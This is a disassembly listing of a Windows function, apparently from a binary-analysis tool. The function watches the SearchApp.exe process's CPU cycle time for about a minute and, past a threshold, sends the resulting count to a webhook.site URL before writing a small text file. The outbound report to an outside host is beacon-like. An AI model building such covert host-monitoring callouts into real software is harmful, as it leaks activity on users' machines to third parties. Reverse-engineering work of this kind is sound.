Function at 0x140001120
Capabilities:
Create http request
Enumerate processes
Terminate process

Disassembly:
push rbx
push r14
sub rsp, 0x378
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x360], rax
lea rcx, str.Starting__n
xor r14d, r14d
call fcn.140001060
xor edx, edx
mov dword [rsp + 0x40], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400013ed
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400013ed
mov qword [rsp + 0x390], rbp
mov qword [rsp + 0x398], rsi
mov qword [rsp + 0x3a0], rdi
mov qword [rsp + 0x370], r15
lea rdx, [rsp + 0x6c]
lea rcx, str.SearchApp.exe
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x1400011cc
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400011a2
jmp 0x1400011dd
lea rcx, str.FOUND__n
call fcn.140001060
mov r14d, dword [rsp + 0x48]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 0x3c
xor ebp, ebp
lea edi, [rsi - 0x3d]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov r15, rax
nop dword [rax]
test esi, esi
jg 0x140001209
cmp edi, 0xa
jge 0x140001270
mov r8d, r14d
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400013cd
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_QueryProcessCycleTime]
mov rcx, rbx
test eax, eax
je 0x140001247
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x30]
jmp 0x14000124f
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [rdi + 1]
dec esi
cmp rbx, rbp
cmovbe eax, edi
cmovbe rbx, rbp
mov edi, eax
mov rbp, rbx
jmp 0x140001200
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
movsd xmm0, qword [str.33333]
sub eax, r15d
movd xmm1, eax
cvtdq2pd xmm1, xmm1
comisd xmm0, xmm1
jbe 0x1400012cf
mov eax, 0xffffff9a
mov rdi, qword [rsp + 0x3a0]
mov rsi, qword [rsp + 0x398]
mov rbp, qword [rsp + 0x390]
mov r15, qword [rsp + 0x370]
mov rcx, qword [rsp + 0x360]
xor rcx, rsp
call fcn.140001420
add rsp, 0x378
pop r14
pop rbx
ret
cmp edi, 0xa
jle 0x1400013ba
lea rcx, [0x1400033b0]
call fcn.140001060
lea rcx, str.ATSD__n
call fcn.140001060
xor r9d, r9d
mov dword [rsp + 0x20], 0
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbx, rax
test rax, rax
je 0x14000137a
mov r9d, edi
lea r8, str.https:__webhook.site_040130df_fdff_429e_a328_4fe728637fef__d
mov edx, 0x64
lea rcx, [rsp + 0x40]
call fcn.1400010c0
xor r9d, r9d
mov qword [rsp + 0x28], 0
xor r8d, r8d
mov dword [rsp + 0x20], 0x2400
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
test rax, rax
je 0x14000137a
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 0x27]
call qword [sym.imp.WININET.dll_InternetSetOptionW]
lea r8, [0x140003370]
lea rdx, str.hello.txt
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
test eax, eax
jne 0x1400013c6
mov rcx, qword [rsp + 0x30]
lea rdx, str.Hello_n
call fcn.140001010
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
jmp 0x140001294
lea rcx, [0x1400033ac]
call fcn.140001060
xor eax, eax
jmp 0x140001294
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_open_process._Error:__lu_n
call fcn.140001060
mov ecx, 0xffffff9c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [0x1400033ac]
call fcn.140001060
mov eax, 0xffffff9b
jmp 0x1400012b4